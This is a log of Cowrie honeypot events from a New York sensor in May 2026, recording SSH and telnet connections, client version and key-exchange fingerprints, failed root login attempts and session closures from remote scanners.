{"eventid":"cowrie.session.closed","duration":63.64457440376282,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:41:13.559998Z","src_ip":"212.55.149.117","session":"7406f8bad984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00951886177063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:42:28.777229Z","src_ip":"190.97.37.239","session":"e299fe48f0f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.126","src_port":54863,"dst_ip":"159.203.135.109","dst_port":23,"session":"a322ade142f9","protocol":"telnet","message":"New connection: 198.235.24.126:54863 (159.203.135.109:23) [session: a322ade142f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:43:46.929085Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56530,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da6fe5c27e2","protocol":"ssh","message":"New connection: 103.15.226.202:56530 (10.17.0.5:22) [session: 8da6fe5c27e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:43:56.062412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:43:56.067514Z","src_ip":"103.15.226.202","session":"8da6fe5c27e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:43:56.318060Z","src_ip":"103.15.226.202","session":"8da6fe5c27e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:43:57.068769Z","src_ip":"103.15.226.202","session":"8da6fe5c27e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:43:58.320064Z","src_ip":"103.15.226.202","session":"8da6fe5c27e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61962,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf13a904804d","protocol":"telnet","message":"New connection: 212.55.149.117:61962 (10.17.0.5:23) [session: bf13a904804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:02.991473Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.183.234.136","src_port":50540,"dst_ip":"159.203.135.109","dst_port":22,"session":"99df1f1c03ea","protocol":"ssh","message":"New connection: 65.183.234.136:50540 (159.203.135.109:22) [session: 99df1f1c03ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:11.366316Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":38100,"dst_ip":"10.17.0.5","dst_port":22,"session":"7904a239d35b","protocol":"ssh","message":"New connection: 104.194.8.142:38100 (10.17.0.5:22) [session: 7904a239d35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:12.572217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:12.577157Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:12.657050Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:b6:67:ae:27:7c:6c:18:5b:b9:5f:ad:9a:52:3c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0TuHpFyYGlj1pon83YQJ9nFvWubi1hLIKTtJr4ElSe2bikxi38LSEMHBPizD4nVM59Bnfw2Nrk4TPs7y0HOrkJcXMmNjsKtV+Wkb6nKciQ6b4VTErqxGKYvN1srN32lOdFKewzKHbbYOFqY3OWXbY8TWB9q0zeql2t45sbHRfjLb0nWyBEeH9xw9X7lzP3GaxlhDQ85E2ZpzJaQF7aefag3Xr+r6F3CFiVEIEvrBig7rHaXYMySEzFIIKgZvjpTmA18Y5lq1RUwQ97DVkp7SbbIB6K+u8WiXgysR/sutDAiFMKi6SAdYFbjp80gCmaLIp+1dbeJzdevv+Io4rjvORw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:b6:67:ae:27:7c:6c:18:5b:b9:5f:ad:9a:52:3c:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.027612Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:b6:67:ae:27:7c:6c:18:5b:b9:5f:ad:9a:52:3c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0TuHpFyYGlj1pon83YQJ9nFvWubi1hLIKTtJr4ElSe2bikxi38LSEMHBPizD4nVM59Bnfw2Nrk4TPs7y0HOrkJcXMmNjsKtV+Wkb6nKciQ6b4VTErqxGKYvN1srN32lOdFKewzKHbbYOFqY3OWXbY8TWB9q0zeql2t45sbHRfjLb0nWyBEeH9xw9X7lzP3GaxlhDQ85E2ZpzJaQF7aefag3Xr+r6F3CFiVEIEvrBig7rHaXYMySEzFIIKgZvjpTmA18Y5lq1RUwQ97DVkp7SbbIB6K+u8WiXgysR/sutDAiFMKi6SAdYFbjp80gCmaLIp+1dbeJzdevv+Io4rjvORw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.031575Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:43:3d:f1:7a:77:36:1b:dc:f9:51:19:39:37:e8:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAve1EuTGVg+28LPvaJknhR/mVb8px628jCEZyDagz7vLbg+emjv/x6lBruNZYBu8p3XxrUT4XZmjzk2Ztv3+X5KU7rAToYH5KKRVoQl9dHMVfmCH0hYKR6sVZj8RH75bXsZMl+zoIAh+0+1cN7zwDtxCW3hYnFCuYHbkPntKORoJDsSTDHpu6/kB+01/Q87IDbaX+CPB/o6AbYyoDJXiYig4/DNaEj2yq5W+jfoR9Yna3cl/tFkrenLrC4WADGXF1Mkvn5UZt3D8jQ/pXU7fqn3xjaFgvPFq7g3p36DL1YXKHVvKRmG0Ju5X1jFV47JfZdRN1w4RTkZzgBxvwzY/gaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:43:3d:f1:7a:77:36:1b:dc:f9:51:19:39:37:e8:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.111302Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:43:3d:f1:7a:77:36:1b:dc:f9:51:19:39:37:e8:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAve1EuTGVg+28LPvaJknhR/mVb8px628jCEZyDagz7vLbg+emjv/x6lBruNZYBu8p3XxrUT4XZmjzk2Ztv3+X5KU7rAToYH5KKRVoQl9dHMVfmCH0hYKR6sVZj8RH75bXsZMl+zoIAh+0+1cN7zwDtxCW3hYnFCuYHbkPntKORoJDsSTDHpu6/kB+01/Q87IDbaX+CPB/o6AbYyoDJXiYig4/DNaEj2yq5W+jfoR9Yna3cl/tFkrenLrC4WADGXF1Mkvn5UZt3D8jQ/pXU7fqn3xjaFgvPFq7g3p36DL1YXKHVvKRmG0Ju5X1jFV47JfZdRN1w4RTkZzgBxvwzY/gaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.115101Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:dd:4b:59:5c:ae:ab:18:a6:3a:5f:3c:a8:d0:f4:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWUWhASqZ92SI/HODKqjyZ90TwK/yenzUceSvatG4szb7JI33AGMP8w37fsNGb6ezTUWq99GicxJGAVbEhhPtvbtnL8AAUBUNADa0olItJwoSaI4Ix1ItHi/yz8Pm/iiqOMqHPDM1qMN4mkgFKqbroL5ez7P9xi7MrR470KiR4lW4M+g3uL0avBqA0R8uhMeqOSEUxHqa2sPOKpdpvUvGdejMqUFjdq5hvdc0ztTqd7x6nuPxplmnOF+Ay6lWYRQbeqTBJmbt4X6MJmGlEgMNkNC1htzUqkTYpgEkXkSE0ohG3iUyzgt1iNbny+nOjBu+LSlaUtM3Jt1BmGfGXi0EwrHudNNyLTNUHRLDgRz+0N2HS17C3m24da9u7ShFZErx9bzAX3xoi3Ono0Svlsol0As4UHsqQji4O4GiHotVYWPWsL19FXPvaYCr+0SV5JOxsg3sLJDRRnWdhF+3htQRjhRs4NT5Vmf+mKMdggNS+pF8bOOu3+Y9vSbZzul5egfE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:dd:4b:59:5c:ae:ab:18:a6:3a:5f:3c:a8:d0:f4:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.196643Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:dd:4b:59:5c:ae:ab:18:a6:3a:5f:3c:a8:d0:f4:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWUWhASqZ92SI/HODKqjyZ90TwK/yenzUceSvatG4szb7JI33AGMP8w37fsNGb6ezTUWq99GicxJGAVbEhhPtvbtnL8AAUBUNADa0olItJwoSaI4Ix1ItHi/yz8Pm/iiqOMqHPDM1qMN4mkgFKqbroL5ez7P9xi7MrR470KiR4lW4M+g3uL0avBqA0R8uhMeqOSEUxHqa2sPOKpdpvUvGdejMqUFjdq5hvdc0ztTqd7x6nuPxplmnOF+Ay6lWYRQbeqTBJmbt4X6MJmGlEgMNkNC1htzUqkTYpgEkXkSE0ohG3iUyzgt1iNbny+nOjBu+LSlaUtM3Jt1BmGfGXi0EwrHudNNyLTNUHRLDgRz+0N2HS17C3m24da9u7ShFZErx9bzAX3xoi3Ono0Svlsol0As4UHsqQji4O4GiHotVYWPWsL19FXPvaYCr+0SV5JOxsg3sLJDRRnWdhF+3htQRjhRs4NT5Vmf+mKMdggNS+pF8bOOu3+Y9vSbZzul5egfE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.200007Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:b5:7f:67:ba:69:19:03:94:4f:ce:c6:ea:73:ec:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJhd8omzxTZW+a0OPwdE3lozvXfOB6QJUpe9VTymeGxIlz8o0SmsYzySKjKYMIaZ513o5E0m+7x9TVrSTOVyCdMdITqvEeE2Cog9rnt94jI3Mw179TPnsljrd8RiZ81+alDm0IS9hbkXdWrkmbm0+MWOkirbvigD9oiWPMqPxZTjAAAAFQCVDURjQc8ka0tv/hvyKcTavsf03wAAAIBHgGaitshDbXormuS0mS1YtaRq+unq73N+IRoxPnSVmLYAmDfgNF00S9+glp/1Sh42jJZo5MkslNs5pjoWX7w7RShSCJTxaK1Dbo8jNXIy0BByMOYAAlX5CkONeGNY/yCydqnPJhx6mA6ZLNh34Kv6t0tRgywUd4pDf/pzqVI1fwAAAIBzu6A91F1+DvVR3/wWoDfz/zc+UTq6T+a7++RRKYejAXLHCNcLsVqdnHdfRB6a1ZLTBNCjBTBePCka5miXUjQj+Qb/VXIbzCRm7Okwr/AibqNhky3fF3tTt2erNK/f/JHNt+SobcEDYxcdrdSg/3N/0eclJhTPXsqoOmytiEPL8A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 67:b5:7f:67:ba:69:19:03:94:4f:ce:c6:ea:73:ec:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.279100Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:b5:7f:67:ba:69:19:03:94:4f:ce:c6:ea:73:ec:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJhd8omzxTZW+a0OPwdE3lozvXfOB6QJUpe9VTymeGxIlz8o0SmsYzySKjKYMIaZ513o5E0m+7x9TVrSTOVyCdMdITqvEeE2Cog9rnt94jI3Mw179TPnsljrd8RiZ81+alDm0IS9hbkXdWrkmbm0+MWOkirbvigD9oiWPMqPxZTjAAAAFQCVDURjQc8ka0tv/hvyKcTavsf03wAAAIBHgGaitshDbXormuS0mS1YtaRq+unq73N+IRoxPnSVmLYAmDfgNF00S9+glp/1Sh42jJZo5MkslNs5pjoWX7w7RShSCJTxaK1Dbo8jNXIy0BByMOYAAlX5CkONeGNY/yCydqnPJhx6mA6ZLNh34Kv6t0tRgywUd4pDf/pzqVI1fwAAAIBzu6A91F1+DvVR3/wWoDfz/zc+UTq6T+a7++RRKYejAXLHCNcLsVqdnHdfRB6a1ZLTBNCjBTBePCka5miXUjQj+Qb/VXIbzCRm7Okwr/AibqNhky3fF3tTt2erNK/f/JHNt+SobcEDYxcdrdSg/3N/0eclJhTPXsqoOmytiEPL8A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.283354Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:98:b5:ab:c1:64:60:1d:6e:8e:45:bd:84:a8:51:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj0/lPzQELOeujD9cRe0JVv+Vw+/mnesl5GdLOz2Qn6ZYbjaDw700y9I0i934ScTUd8d9HhRN1Z4o4SekVvxGVdRnxgyABMwERq119Kz59/+yyt4XC61N+UaDxq3Lm8eLMF14Xvt+QDq85RIN3MIYHk2sNNxHGf6KboclR8zf8+FnwR2PE2gnKEcZvSmDFISHRb4Hic+63TDbulkHhi8JPFMEQ8LFFebdYFr+yypKRiwXN0U+k0rGAQ7aXhMipPQY6JGFWadEYl+ImzR1IBcg4aYI8SIOOE+NEXRX/7iHuV6QOIlK3KrtnNpuyfm1tRWj2xLF8OFtyJzKVWtvQ2IokVHTo5OFdeOdYSWkZ0aac6j5VNGCqG2i3bTSecCKE/6vFoFRSLLyKb2F8SIACOFWv4eXt3GUNe8pGY8L9zZsMg1XeUwL+eTjIbz/TsD5TPFFbJd/U5+3B0HWPIpifR8OQzYHQGPW+no1cvLryKlS+ZvrA8GDyW6pN5miIXlPMi7F5CdXc7mCRGuZHcDPsWM+vWL2a12xx4sekpVsVFqcU+wroY9d0lk49XR7ouewzAJQirB5F16rFRG1fwBHdsKFC0dy6sJy9MoojdEc2KW4rQ/Uty5kUpE0q4FrPH5hqc+ep2N52rdhGj/z9kaq/7epeWdhCT449mvBqrGI7MT0RQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:98:b5:ab:c1:64:60:1d:6e:8e:45:bd:84:a8:51:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.362127Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:98:b5:ab:c1:64:60:1d:6e:8e:45:bd:84:a8:51:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj0/lPzQELOeujD9cRe0JVv+Vw+/mnesl5GdLOz2Qn6ZYbjaDw700y9I0i934ScTUd8d9HhRN1Z4o4SekVvxGVdRnxgyABMwERq119Kz59/+yyt4XC61N+UaDxq3Lm8eLMF14Xvt+QDq85RIN3MIYHk2sNNxHGf6KboclR8zf8+FnwR2PE2gnKEcZvSmDFISHRb4Hic+63TDbulkHhi8JPFMEQ8LFFebdYFr+yypKRiwXN0U+k0rGAQ7aXhMipPQY6JGFWadEYl+ImzR1IBcg4aYI8SIOOE+NEXRX/7iHuV6QOIlK3KrtnNpuyfm1tRWj2xLF8OFtyJzKVWtvQ2IokVHTo5OFdeOdYSWkZ0aac6j5VNGCqG2i3bTSecCKE/6vFoFRSLLyKb2F8SIACOFWv4eXt3GUNe8pGY8L9zZsMg1XeUwL+eTjIbz/TsD5TPFFbJd/U5+3B0HWPIpifR8OQzYHQGPW+no1cvLryKlS+ZvrA8GDyW6pN5miIXlPMi7F5CdXc7mCRGuZHcDPsWM+vWL2a12xx4sekpVsVFqcU+wroY9d0lk49XR7ouewzAJQirB5F16rFRG1fwBHdsKFC0dy6sJy9MoojdEc2KW4rQ/Uty5kUpE0q4FrPH5hqc+ep2N52rdhGj/z9kaq/7epeWdhCT449mvBqrGI7MT0RQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.365760Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:13.444537Z","src_ip":"104.194.8.142","session":"7904a239d35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:14.227288Z","src_ip":"65.183.234.136","session":"99df1f1c03ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.183.234.136","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"98f9973400f4","protocol":"ssh","message":"New connection: 65.183.234.136:42744 (159.203.135.109:22) [session: 98f9973400f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:15.953122Z"}
{"eventid":"cowrie.session.closed","duration":30.469404935836792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:17.398367Z","src_ip":"198.235.24.126","session":"a322ade142f9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:17.451290Z","src_ip":"65.183.234.136","session":"98f9973400f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:17.456905Z","src_ip":"65.183.234.136","session":"98f9973400f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60942,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ef0439d8a44","protocol":"ssh","message":"New connection: 2.57.122.238:60942 (10.17.0.5:22) [session: 5ef0439d8a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.157072Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.254713Z","src_ip":"2.57.122.238","session":"5ef0439d8a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.60.130","src_port":59286,"dst_ip":"10.17.0.5","dst_port":22,"session":"31870a77f144","protocol":"ssh","message":"New connection: 198.98.60.130:59286 (10.17.0.5:22) [session: 31870a77f144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.343182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:44:23.347887Z","src_ip":"198.98.60.130","session":"31870a77f144","protocol":"ssh"}
